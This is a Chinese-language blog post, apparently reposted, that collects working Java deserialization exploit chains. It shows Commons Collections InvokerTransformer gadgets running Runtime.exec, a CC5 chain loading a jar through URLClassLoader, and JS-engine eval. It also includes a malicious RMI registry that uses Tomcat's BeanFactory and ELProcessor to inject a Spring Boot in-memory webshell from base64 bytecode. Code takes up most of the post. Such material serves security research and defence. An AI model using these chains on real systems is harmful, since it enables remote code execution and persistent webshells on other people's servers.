反序列化執行任意代碼的幾種方式總結


前言:反序列化執行任意代碼的幾種方式總結筆記

InvokeTransform類

執行命令的反序列化代碼如下:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

但是這種存在局限性:

1、雖然可以執行系統命令,但是不方便完成多條命令的操作

2、無法執行更多的Java的代碼,就比如想要實現多條Java代碼的話,那么這里的話就沒有辦法進行執行,我這里指的是比如變量聲明這種東西(如果你想要執行任意類的方法的話,通過InvokeTransform來進行調用,這樣是可以的)

可能會有人說exec不是支持數組傳參嗎?是的,但是我自己嘗試的時候發現無法進行多命令執行,如下圖所示,但是只彈出了一個計算器

new InvokerTransformer("exec", new Class[]{String[].class}, new String[][]{{"calc","notepad"}})

所以總的來說反序列化InvokeTransform去執行命令還是有很多局限性的。

URLClassloader

URLClassLoader繼承了ClassLoader,URLClassLoader提供了加載遠程資源的能力,在寫漏洞利用的payload或者webshell的時候我們可以使用這個特性來加載遠程的jar來實現遠程的類方法調用。

如果需要利用,那么前提肯定是需要出網,其實也不一定,unicodesec有篇文章看到的就是通過先寫入文件,又因為URLClassloader支持file協議,加載本地jar包同樣可以實現命令執行。

URLClassloader 實現了通過指定類名,去遠程/本地服務器上查找 class 類文件並且進行本地執行。

這個利用的還是InvokeTransform,但是反序列化的是URLClassloader對象,上面的是通過Runtime對象

這里反序列化URLClassloader同樣也可以實現命令執行,比起Runtime,它的優點在於可以可以運行Java代碼,缺點利用步驟比較麻煩,需要搭建服務器等等。

URLClassLoader.class.getConstructor(java.net.URL[].class).newInstance(new java.net.URL("url")).loadClass("remote_class").getMethod("do_exec").invoke(null);

我這里就拿本地來進行測試了,用的是file協議來進行測試,先打包好jar包,如下圖所示

路徑為:D:\ALL\javaidea\MyFirstTestMaven\CollectionsSerializable\out\artifacts\CollectionsSerializable_jar\CollectionsSerializable.jar

本地測試,可以看到成功執行了

public class TestCode {
    public static void main(String[] args) throws Exception{
        URL url = new URL("file://D:\\ALL\\javaidea\\MyFirstTestMaven\\CollectionsSerializable\\out\\artifacts\\CollectionsSerializable_jar");
        URLClassLoader.class.getConstructor(URL[].class).newInstance((Object) new URL[]{url})
                .loadClass("com.zpchcbd.unicodesec.urlclassloader.RemoteObject")
                .getMethod("commandExec")
                .invoke(null);
    }
}

接着就是來反序列化進行執行,代碼如下,我這里測試的是CC5

package com.zpchcbd.unicodesec.urlclassloader;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.HashMap;

public class UrlLoader {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(java.net.URLClassLoader.class),
                new InvokerTransformer(
                        "getConstructor",
                        new Class[] {Class[].class},
                        new Object[] {new Class[]{java.net.URL[].class}}
                ),
                new InvokerTransformer(
                        "newInstance",
                        new Class[] {Object[].class},
                        new Object[] { new Object[] { new java.net.URL[] { new java.net.URL("file://D:\\ALL\\javaidea\\MyFirstTestMaven\\CollectionsSerializable\\out\\artifacts\\CollectionsSerializable_jar") }}}
                ),
                new InvokerTransformer(
                        "loadClass",
                        new Class[] {String.class},
                        new Object[] {"com.zpchcbd.unicodesec.urlclassloader.RemoteObject"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"commandExec", new Class[]{}}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new String[]{}}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // LazyMap封裝
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);

        // TiedMapEntry封裝
        TiedMapEntry tiedMapEntry = new TiedMapEntry(map,121212121);

        // BadAttributeValueExpException的val字段獲取
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedMapEntry);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("urlloader.txt"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("urlloader.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

JS引擎

unicodesec推薦的使用的一種方法,既不需要出網,也支持多java代碼執行,並且操作簡單。

關於Javassist用法的文章參考:https://www.cnblogs.com/zpchcbd/p/14835338.html

先了解下如何使用JS引擎來執行代碼

Nashorn(jdk8),Rhino(JDK 6/7),javascript等,如下圖是java8中所支持的js引擎

public class JsCode {
    public static void main(String[] args) throws Exception {
        new ScriptEngineManager().getEngineByName("javascript").eval("print('Hello World!');");
    }
}

同樣的通過js代碼也可以執行java代碼,如下圖所示

public class JsCode {
    public static void main(String[] args) throws Exception {
        new ScriptEngineManager().getEngineByName("Nashorn").eval(
                "var a=Java.type('java.util.HashMap');" +
                        "print(a)");
    }
}

那么想要調用Runtime的exec需要如何進行操作?這個先放着,我之后來補充...

TemplatesImpl

apache Xalan 是一個 java 操作 xml 的庫。該庫內置 Java 的官方庫中。在 apache Xalan 的某個方法中,存在將字節碼通過 defineClass 加載為類的代碼。

在JNDI注入的時候會比較好用,通過配合EL表達式來實現任意代碼執行。

public class RMIReferenceServerTest  {
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 9527");
        LocateRegistry.createRegistry(9527);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"replacement\")";
        String replacement = payload.replace("replacement", injectMemshell(SpringBootMemoryShellOfInterceptor.class));
        System.out.println(replacement);
        ref.add(new StringRefAddr("x", replacement));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

        Naming.bind("rmi://192.168.0.108:9527/AAAAAA", referenceWrapper);
        System.out.println("RMI服務啟動成功,服務地址:" + "rmi://192.168.0.108/AAAAAA");

    }

    public static String injectMemshell(Class clazz){
        String classCode = null;
        try{
            classCode = Utils.getClassCode(clazz);
        }catch(Exception e){
            e.printStackTrace();
        }

        String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
                "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
                "try{\n" +
                "   var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
                "   clazz.newInstance();\n" +
                "}catch(err){\n" +
                "   var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
                "   method.setAccessible(true);\n" +
                "   var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
                "   clazz.newInstance();\n" +
                "};";

        return code;
    }
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM